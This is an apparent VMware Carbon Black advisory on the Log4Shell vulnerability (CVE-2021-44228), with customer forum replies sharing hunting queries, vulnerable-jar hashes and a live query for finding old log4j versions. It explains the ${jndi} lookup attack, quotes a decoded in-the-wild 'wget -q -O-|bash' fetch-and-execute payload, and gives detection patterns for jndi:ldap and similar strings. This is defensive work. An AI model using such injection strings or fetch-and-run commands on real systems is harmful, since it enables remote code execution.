Threat Report: Exposing Malware in Linux-Based Multi-Cloud Environments | Download Now

Log4Shell - Log4j Remote Code Execution (CVE-2021-44228)

Log4Shell - Log4j Remote Code Execution (CVE-2021-44228)

Major Update Changelog

  • 17 Dec 21 - 2245 EST - Added additional details to App Control hunting to aid customers in enabling the features. Removed CVE mitigation steps as they've all been shown to be insufficient due to latest discoveries. 
  • 14 Dec 21 - 2000 EST - Added details on CVE-2021-45046, adjusted mitigation advice, and added hunting details for App Control
  • 13 Dec 21 - 1145 EST - Added clarification and links into summary for product impact concerns
  • 11 Dec 21 - 1100 EST - Added section on VMware CB Product Mitigations
  • 10 Dec 21 - 2100 EST - Added section on Product Hunting, including searching for library in Endpoint Standard
  • 10 Dec 21 - 1530 EST - Added technical details about the vulnerability and exploits
  • 10 Dec 21 - 1230 EST - Initial posting




On 9 December 2021, the VMware Threat Analysis Unit (TAU) became aware of a large-scale, high-impact vulnerability within the Java Log4j module. This vulnerability is known as Log4Shell and is being tracked as CVE-2021-44228. This is a widely used module that allows for a Java-based application to better manage internal event logging. Though the vulnerability is targeting a specific library, that library is in use by numerous popular applications and cloud services, on varying operating systems. 

For VMware Carbon Black customers, please refer to the VMware Security Advisory VMSA-2021-0028 that provides detail on impacted products.

The VMware Threat Analysis Unit has continued to observe threats in the wild using this exploit, some of which we've detailed in discoveries of Post Exploitation Cryptomining Activity.

Technical Details 

The vulnerability within Log4j relies upon how the library parses text strings. The vulnerability is triggered when the Java Naming and Directory Interface (JNDI) receives a log message that includes a specific formatting of “${jndi}” command. In the most common attack, the JNDI command leverages the Lightweight Directory Access Protocol (LDAP) to connect to a remote host URL, which will cause the library to make a direct connection to retrieve and evaluate the results. Depending on what data the application decides to log, this malicious string could be found in various areas, from an HTTP User-Agent against a web server, to a chat room message in Minecraft.

In the wild attacks demonstrate the use of HTTP URIs and User Agents to deliver a malicious payload. As these are values typically logged by web servers, they directly target the Log4j vulnerability. The actual payload can vary as well, with recent examples showing Base64 encoded data that, once decoded by the adversary’s web server, translates into actual Linux commands to download and execute scripts, as shown in an example below.


The User-Agent string above, once executed by Log4j, will translate to a Linux command line of: “(wget -q -O-|bash”. These represent file-less attacks via an unknown script from a remote system that is directly executed under the Apache process. 

Examples of vulnerable services are appearing at a regular basis since this attack was disclosed, showing multiple vectors of attack that can take place in many formats. While web servers are the most visible, and likely to be attacked, recent examples have shown that even desktop applications can be made vulnerable from local data input. As the vulnerability is implemented in many different manners, it is difficult to pinpoint a specific library doing something unusual without knowing the context of the application. 

While there may be gaps in visibility due to how this exploit is run, it is important to know that the exploit is typically just the first stage of the attack. VMware Carbon Black watchlists, policies, and protections are effective at detecting more of the attack k*ll chain. 


Mitigation Details

At this time, the vulnerable versions of Log4j range from version 2.0 to 2.15. While there have been prior efforts to mitigation, they've not been sufficient in resolving the overall issue. The proper solution is to implement the most currently available patched version of Log4j that resolves this vulnerability.

Additionally, as this is a widescale attack, security teams should do their due diligence and inspect any prior behavior for signs of an incident, even if it was unsuccessful. It is recommended to search through existing web server logs, or other critical logs, for strings like “jndi:ldap”. However, these strings can be obfuscated and may not show exactly as anticipated. 


VMware Carbon Black Product Specifics


VMWare Carbon Black Cloud Endpoint Standard 

The recommended policy for Endpoint Standard at a minimum is to block all types of malwares from executing (Known, Suspect, and PUP) as well as delay execute for cloud scan to get maximum benefit from Carbon Black’s PSC reputation service. The PSC Threat feeds will assist in detection for post-exploitation behaviors of malware taking advantage of this vulnerability.  

Additionally, Carbon Black Endpoint Standard will detect vulnerable versions of the Log4j library as an Observed alert with a severity score of 3, plus or minus 1 depending on device priority.  Observed alerts can be viewed in the console following the steps outlined below. This is a method of detecting unusual indicators that are not inherently malicious but would be worth additional review. 

Steps to view CVE-2021-44228 Observed alerts: 

  1. The default configuration is to only show Threat level alerts on the alerts pane in the console. Click Threat to untoggle Threat level alerts. 
  2. To display Observed level alerts, toggle the Observed button in the Other Activity drop down.  
  3. Lower Alert Severity to 1. 
  4. Search for CVE-2021-44228 using search. 

2021-12-10 20_07_13-Zoom Meeting 40-Minutes_1.png

Please note that these observed alerts will trigger based on file access of the vulnerable Log4j core library, and therefore will not alert on an already loaded library until reboot or a process restart that forces a reload of the affected library.  

To query affected devices without a reboot or restart, a Live Query can be run for licensed customers. However, it is advised that this type of query be used judiciously based on potential, but expected, performance impact. As TAU investigates and tunes high fidelity Live Queries, they will be added to this post.


VMWare Carbon Black App Control

The most effective way of blocking post-exploitation activity is by running App Control in High or Medium enforcement. 

To determine if there are vulnerable systems in your environment, App Control can be used to search all indexed files across systems with the agent installed for the log4j*.jar libraries. This requires Java modules be tracked by the sensor. To ensure that Java JAR and Class files are tracked please refer to this Knowledge Base article.

Hunting for vulnerable libraries can be done from the App Control server by navigating to Assets -> Files -> Files on Computers. Specify a query for File Name Begins and specify log4j, as shown in the screenshot below. The log4j file names specify the specific version of the library, such as log4j-2.7.jar. These file names, as well as the stored hash values, can be used to determine if a system application is vulnerable to attack.

image (7).png



VMWare Carbon Black EDR and Cloud Enterprise EDR

Many existing queries located in the CB Advanced Threat, CB Endpoint Visibility, CB Suspicious Indicators, MITRE ATT&CK, and SANS Threat feeds will also alert on characteristics associated with any potential post-exploitation activity. 


VMware Carbon Black Product Details

While the Carbon Black suite of endpoint products do not directly use the Log4j library and have its vulnerabilities, there are portions of the backend that may require attention. These topics will not be addressed in this document, but details can be found in the VMware Security Advisory VMSA-2021-0028.


Is there a way we can test if any systems are vulnerable using the Investigate screen?

Would blocking access to Twitter be a recommended solution until CB Dev Team knows more about the exploit?

Is there any recommendation to be done? 

Its a lot more than just Twitter,


From what I am seeing it would work to make sure you have TOR exit node watchlists turned on and alerting since the attempts have all been through there.

I would love to have some way to actively block though.

The IP list is very helpful and the few that I have in Cisco Talos they listed as malware.

Do we have anything yet on this?

Does anyone have any working queries which identify vulnerable systems?

I'm reading this article from Randori.

One recommendation is to look for the vulnerable hashes. 


If you believe you may be impacted by CVE-2021-44228, Randori encourages all organizations to adopt an assumed breach mentality and review logs for impacted applications for unusual activity. If you find these hashes in you software inventory then you have the vulnerable log4j in your systems:


I'm wondering if the team at Carbon Black has a watchlist setup for this?

Is Carbon Black products such as the Solr engine effected?

So is carbon black EDR itself is also affected ?

High Enforcement it is and always will be. 
Thanks for the update. 

Query related to this any hits should be treated highly suspicious:

process_cmdline:*jndi\:ldap* process_cmdline:*jndi\:ldap* OR process_cmdline:*jndi\:rmi* OR process_cmdline:*jndi\:ldaps* OR process_cmdline:*jndi\:dns*

Thank you for confirmation, figured since it was Solr engine for search

@reggierichard and anyone else looking for the Mubix hash list parsed out for Investigate queries in CBC:  hash:bf4f41403280c1b115650d470f9b260a5c9042c04d9bcc2a6ca504a66379b2d6 OR hash:58e9f72081efff9bdaabd82e3b3efe5b1b9f1666cefe28f429ad7176a6d770ae OR hash:ed285ad5ac6a8cf13461d6c2874fdcd3bf67002844831f66e21c2d0adda43fa4 OR hash:dbf88c623cc2ad99d82fa4c575fb105e2083465a47b84d64e2e1a63e183c274e OR hash:a38ddff1e797adb39a08876932bc2538d771ff7db23885fb883fec526aff4fc8 OR hash:7d86841489afd1097576a649094ae1efb79b3147cd162ba019861dfad4e9573b OR hash:4bfb0d5022dc499908da4597f3e19f9f64d3cc98ce756a2249c72179d3d75c47 OR hash:473f15c04122dad810c919b2f3484d46560fd2dd4573f6695d387195816b02a6 OR hash:b3fae4f84d4303cdbad4696554b4e8d2381ad3faf6e0c3c8d2ce60a4388caa02 OR hash:dcde6033b205433d6e9855c93740f798951fa3a3f252035a768d9f356fde806d OR hash:85338f694c844c8b66d8a1b981bcf38627f95579209b2662182a009d849e1a4c OR hash:db3906edad6009d1886ec1e2a198249b6d99820a3575f8ec80c6ce57f08d521a OR hash:ec411a34fee49692f196e4dc0a905b25d0667825904862fdba153df5e53183e0 OR hash:a00a54e3fb8cb83fab38f8714f240ecc13ab9c492584aa571aec5fc71b48732d OR hash:c584d1000591efa391386264e0d43ec35f4dbb146cad9390f73358d9c84ee78d OR hash:8bdb662843c1f4b120fb4c25a5636008085900cdf9947b1dadb9b672ea6134dc OR hash:c830cde8f929c35dad42cbdb6b28447df69ceffe99937bf420d32424df4d076a OR hash:6ae3b0cb657e051f97835a6432c2b0f50a651b36b6d4af395bbe9060bb4ef4b2 OR hash:535e19bf14d8c76ec00a7e8490287ca2e2597cae2de5b8f1f65eb81ef1c2a4c6 OR hash:42de36e61d454afff5e50e6930961c85b55d681e23931efd248fd9b9b9297239 OR hash:4f53e4d52efcccdc446017426c15001bb0fe444c7a6cdc9966f8741cf210d997 OR hash:df00277045338ceaa6f70a7b8eee178710b3ba51eac28c1142ec802157492de6 OR hash:28433734bd9e3121e0a0b78238d5131837b9dbe26f1a930bc872bad44e68e44e OR hash:cf65f0d33640f2cd0a0b06dd86a5c6353938ccb25f4ffd14116b4884181e0392 OR hash:5bb84e110d5f18cee47021a024d358227612dd6dac7b97fa781f85c6ad3ccee4 OR hash:ccf02bb919e1a44b13b366ea1b203f98772650475f2a06e9fac4b3c957a7c3fa OR hash:815a73e20e90a413662eefe8594414684df3d5723edcd76070e1a5aee864616e OR hash:10ef331115cbbd18b5be3f3761e046523f9c95c103484082b18e67a7c36e570c OR hash:dc815be299f81c180aa8d2924f1b015f2c46686e866bc410e72de75f7cd41aae OR hash:9275f5d57709e2204900d3dae2727f5932f85d3813ad31c9d351def03dd3d03d OR hash:f35ccc9978797a895e5bee58fa8c3b7ad6d5ee55386e9e532f141ee8ed2e937d OR hash:5256517e6237b888c65c8691f29219b6658d800c23e81d5167c4a8bbd2a0daa3 OR hash:d4485176aea67cc85f5ccc45bb66166f8bfc715ae4a695f0d870a1f8d848cc3d OR hash:3fcc4c1f2f806acfc395144c98b8ba2a80fe1bf5e3ad3397588bbd2610a37100 OR hash:057a48fe378586b6913d29b4b10162b4b5045277f1be66b7a01fb7e30bd05ef3 OR hash:5dbd6bb2381bf54563ea15bc9fbb6d7094eaf7184e6975c50f8996f77bfc3f2c OR hash:c39b0ea14e7766440c59e5ae5f48adee038d9b1c7a1375b376e966ca12c22cd3 OR hash:6f38a25482d82cd118c4255f25b9d78d96821d22bab498cdce9cda7a563ca992 OR hash:54962835992e303928aa909730ce3a50e311068c0960c708e82ab76701db5e6b OR hash:e5e9b0f8d72f4e7b9022b7a83c673334d7967981191d2d98f9c57dc97b4caae1 OR hash:68d793940c28ddff6670be703690dfdf9e77315970c42c4af40ca7261a8570fa OR hash:9da0f5ca7c8eab693d090ae759275b9db4ca5acdbcfe4a63d3871e0b17367463 OR hash:006fc6623fbb961084243cfc327c885f3c57f2eba8ee05fbc4e93e5358778c85

I am guessing for the HASH list that it is for the files that need to be updated?  Any endpoints that trigger on the query need to get updated?

@Navar_Holmes Yes. Vulnerable log4j core JAR hashes, per Mubix on Github:  GitHub - mubix/CVE-2021-44228-Log4Shell-Hashes: Hashes for vulnerable LOG4J versions

Do we have any specific query or watchlist to detect this vulnerability via VMWare Carbon Black EDR or Carbon Black cloud?


For EEDR and EDR platforms have two threat intel reports that released yesterday.


The Threat Intelligence teams is also updating this post with more information as it comes

Is there a new list of IPs used by the threat actors?

Hi @Navar_Holmes ,

CB released new 3 reports for the CB EDR product. They are under knownioc feed.

log4j CriticalPathSecurity IOCs

log4j Azure-Sentinel IOCs

log4j GreyNoise IOCs

These reports contain all IPs. 

Also, these are the list of IPs I found for the log4j vulnerability:

Does anyone have a cut and paste live query?


What about App Control and Response, are they affected?



Was told the Response agent is not affected and will detect an attempt on the vulnerability.



Hello, guys. For workstations specially, is there any enforcement policy or watchlist that you recommended to inmediatelly alert and block?


Does anyone have a live query that can be run? We do not have app control and are looking for an alternative to finding vulnerable devices.

Hi @daallen89 

Once I've found this query:

select cast(trim(substr(filename, instr(filename, '.')+1), '.jar') as REAL) as ver, filename, path from file where path like '%%' and path like '%log4j-%.jar' and ver < 15;

The above query works on both CB EDR Live Query and CB Audit and remediation products.

The results are up to your environment.

Hope this helps



Any new updates on this one since log4j was brought up to version 2.17.1? Is there any other mitigations or recommendations we need to review to cover ourselves here for all CVEs as of 1/3/2022?

Any new updates on this one since log4j was brought up to version 2.17.1? Is there any other mitigations or recommendations we need to review to cover ourselves here for all CVEs as of 1/3/2022?

At this time, we have not seen a need to update the recommendations here. They appear to remain effective in newer uses of exploits.


Article Information
Creation Date: